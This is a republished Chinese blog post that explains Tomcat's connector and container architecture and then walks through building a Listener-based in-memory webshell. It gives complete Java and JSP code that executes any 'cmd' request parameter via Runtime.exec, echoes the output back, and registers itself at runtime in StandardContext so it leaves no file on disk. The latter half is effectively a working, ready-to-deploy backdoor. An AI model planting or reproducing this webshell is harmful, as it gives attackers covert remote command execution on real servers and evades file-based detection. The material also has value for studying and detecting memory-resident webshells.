您的位置:首页 > 房产 > 家装 > tomcat Listener 内存马浅谈

tomcat Listener 内存马浅谈

2024/10/6 8:38:37 来源:https://blog.csdn.net/wuwenshequ/article/details/141223346  浏览:    关键词:tomcat Listener 内存马浅谈
本文来源无问社区,更多实战内容可前往查看icon-default.png?t=N7T8http://www.wwlib.cn/index.php/artread/artid/3651.html
Tomcat 介绍

Tomcat的主要功能

toncat作为一个web服务器,实现了两个核心的功能

http 服务器功能:进行socket 通信(基于TCP/IP),解析HTTP 报文

Servlet 容器功能:加载和管理Servlet ,由Servlet 具体负责处理Rqeusts 请求

图片

以上两个功能对应着tomcat的两个核心组件,分别是连接器(Connector)和容器(Container),连接器负责对外交流(完成http服务器功能),容器负责内部处理(完成Servlet容器功能)

图片

  • Server server 服务器的意思,代表着整个tomcat服务器,一个tomcat只有一个Servler,Server中包含一个Server 组件,用户提供具体服务。
  • Service 服务是server 内部的组件,一个Server可以包括多个Service。将若干个Connector 组件绑定到一个Container。
  • Connector 连接器,是service的核心组件之一,一个service 可以有多个Connector,主要连接客户端的请求,用于接受请求并将请求封装成request和response,然后交给Container进行处理,Container 处理完之后交个Connector返回给客户端。
  • Container 负责处理用户的Servlet 请求。

Connector 连接器

连接器主要完成以下三个核心功能

  • socket 通信,即网络编程
  • 解析处理应用层协议,封装成一个Request对象。
  • 将request 转换为ServletReqiest,将Response转换为ServletResponse

以上三个组件分别对应 EndPoint、Processor、Adapter来完成,Endpoint 负责提供请求字节流给Process,Porcess负责提供Tomcat 定义的request 对象来给Adapter,Adapter负责提供标准的ServletRequest 对象给Servlet 容器。

图片

Container 容器

Container 组件成为Catalina,其是tomcat的核心,在Container 中,有四种容器,分别是Engine,Host,Context, wrapper,这四个容器成为套娃式的分层结构设计。

图片

四种容器的作用:

  • Engine 表示整个Catalina的Servlet 引擎,用来管理多个虚拟站点,一个service最多只能有一个Engine,但是一个引擎可包含多个host。
  • Host 代表一个虚拟机,或者一个站点,可以给Tomcat 配置多个虚拟主机的地址,而一个虚拟主机可包含多个Context
  • Context 表示一个web应用程序,每一个context都有唯一的path,一个web应用可以包含多个wrapper
  • Wrapper 表示一个Servlet,负责管理整个Servlet的声明周期,包括装载,初始化,资源回收等。

图片

Listener 内存马

最适合作为内存马的监听器为ServletRequestListener,它用于监听ServletRequest 对象的创建和销毁过程,因此当我们发起任意请求的时候,都会触发。

Listener 就是监听器,能够监听一些事件从而达到一些效果,要实现一个Listener 必须实现EventListener 接口

图片

图片

编写一个ServletRequestListener 接口的实现类进行测试:

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;@WebListener
public class ListenerTest implements ServletRequestListener {public void requestInitialized(ServletRequestEvent servletRequestEvent) {HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();try {String cmd = request.getParameter("cmd");if (cmd != null) {Runtime.getRuntime().exec(cmd);}} catch (Exception e) {e.printStackTrace();}}public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}
}

当访问任意路由的时候,都可以执行命令

存在的路径

图片

不存在的路径

图片

回显

既然实现了命令执行,那么就需要做到回显,那么现在就需要分析两个问题

1、 恶意代码从哪里传入

2、 tomcat的Listener 是如何实现的

恶意代码的位置已经明了了,就是传入的参数,下面就是找到Listener 是如何实现注册的。

在ServletRequestEvent; 中getServletRequest;()方法,返回了ServletRequest; 接口的实现类,

图片

具体是哪个实现类,可以打印出来,查看一下

图片

发现返回了RequestFacade 这个HttpServlet的实现类

图片

这里面有一个Request类型的属性。

图片

所以可以通过反射修改request的属性字段来获取到Request 属性,然后就可以通过reqeust属性的getResponse方法来获取Response类,

图片

图片

然后通过输出流即可构造回显

package com.qq.Controller;import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;public class ServletListenTest implements ServletRequestListener {public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}public void requestInitialized(ServletRequestEvent servletRequestEvent) {HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest();try {String cmd = req.getParameter("cmd");if (cmd != null){Field field = req.getClass().getDeclaredField("request");field.setAccessible(true);Request request = (Request) field.get(req);Response response = request.getResponse();InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();ByteArrayOutputStream bos = new ByteArrayOutputStream();byte[] bytes = new byte[1024];int a= -1;while ((a = inputStream.read(bytes)) != -1){bos.write(bytes, 0, a);}response.getWriter().write(new String(bos.toByteArray()));}}catch (Exception e){e.printStackTrace();}}
}
Tomcat Listener 注册流程

listenerstart()

在构造好了Listener 之后只需要搞清楚注册流程就可以动态注册了。

在Listener 打个断点

图片

查看堆栈可以定位到StandardContext;#listenerStart;()方法,然后对Listener 进行了实例化。

图片

查看下listener 从findApplicationListeners;方法中获取的

图片

跟进findApplicationListeners;方法,findApplicationListeners是获取applicationListeners属性的

图片

applicationListeners 数组中存放的就是listener的名字

图片

目前可以得知的流程如下:

1、注册的Listener 名字存放在applicationListeners数组中(名字是从web.xml中获取的) 2、findApplicationListeners 函数取出内容并进行实例化,并存储到result中。

继续跟进,首先遍历了results数组,然后在for循环中根据不同类型的Listener添加到不同的数组中,这里的listener 被添加到了eventListeners 数组中。

图片

接下来调用getApplicationLifecycleListeners;获取到applicationEventListenersList;属性(即已注册的listener)

图片

然后调用了setApplicationEventListeners;来进行设置,可以看到方法会先清空applicationEventListenersList; ,所以上面重新取出来进行赋值,然后将获取的数组全部进行传入。

图片

看到applicationEventListenersList; 数组,可以看到List<Object>。所以这里面存放的都是实例化后的Listener

图片

fireRequestInitEvent

在前面的函数部分知道了listemnerStart() 将实例化的listener 添加到了applicationEventListenersList中,但是只存进去是不会触发的,进行第二个断点,然后执行命令,查看调用堆栈

图片

看到调用了requestInitialized(event);;这个listener 就是调用的恶意的Listener实例,可以看到是通过遍历instances数组,而instances数组就是通过getApplicationEventListeners; 来进行获取的值

图片

这里就是上面将函数实例添加进去的地方。所以我们内存马只需要添加到这个数组就可以了

最终构造

先调用getApplicationEventListeners 将applicationEventListenersList 取出来,然后增加我们构造好的listener添加进去

Obeject[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());

由于方法都在StandardContext中,所以需要先获取StandradContext对象

ServletContext servletContext = request.getServletContext(); 
try {Field applicationContextField = servletContext.getClass().getDeclaredField("context");applicationContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);// Use the standardContext object...
} catch (NoSuchFieldException | IllegalAccessException e) {// Handle the exceptione.printStackTrace();
}

接下来就是编写内存马

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!class ListenerTest implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest();try {String cmd = req.getParameter("cmd");if (cmd != null) {Field field = req.getClass().getDeclaredField("request");field.setAccessible(true);Request request = (Request) field.get(req);Response response = request.getResponse();InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] bytes = new byte[1024];int a = -1;while ((a = in.read(bytes)) != -1) {baos.write(bytes, 0, a);}response.getWriter().write(new String(baos.toByteArray()));}} catch (Exception e) {e.printStackTrace();}}}
%>
<%Field field = request.getClass().getDeclaredField("request");field.setAccessible(true);Request req = (Request) field.get(request);StandardContext standardContext = (StandardContext) req.getContext();ListenerTest listenerTest = new ListenerTest();standardContext.addApplicationEventListener(listenerTest);
%>

或者s

<%Field field = request.getClass().getDeclaredField("request");field.setAccessible(true);Request req = (Request) field.get(request);StandardContext standardContext = (StandardContext) req.getContext();ListenerTest listenerTest = new ListenerTest();Object[] objects = standardContext.getApplicationEventListeners();List<Object> listeners = Arrays.asList(objects);List<Object> arrayList = new ArrayList<>(listeners);arrayList.add(listenerTest);standardContext.setApplicationEventListeners(arrayList.toArray());//standardContext.addApplicationEventListener(listenerTest);
%>

此处为jsp脚本,也可以通过编译成class,然后通过加载字节码进行执行。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com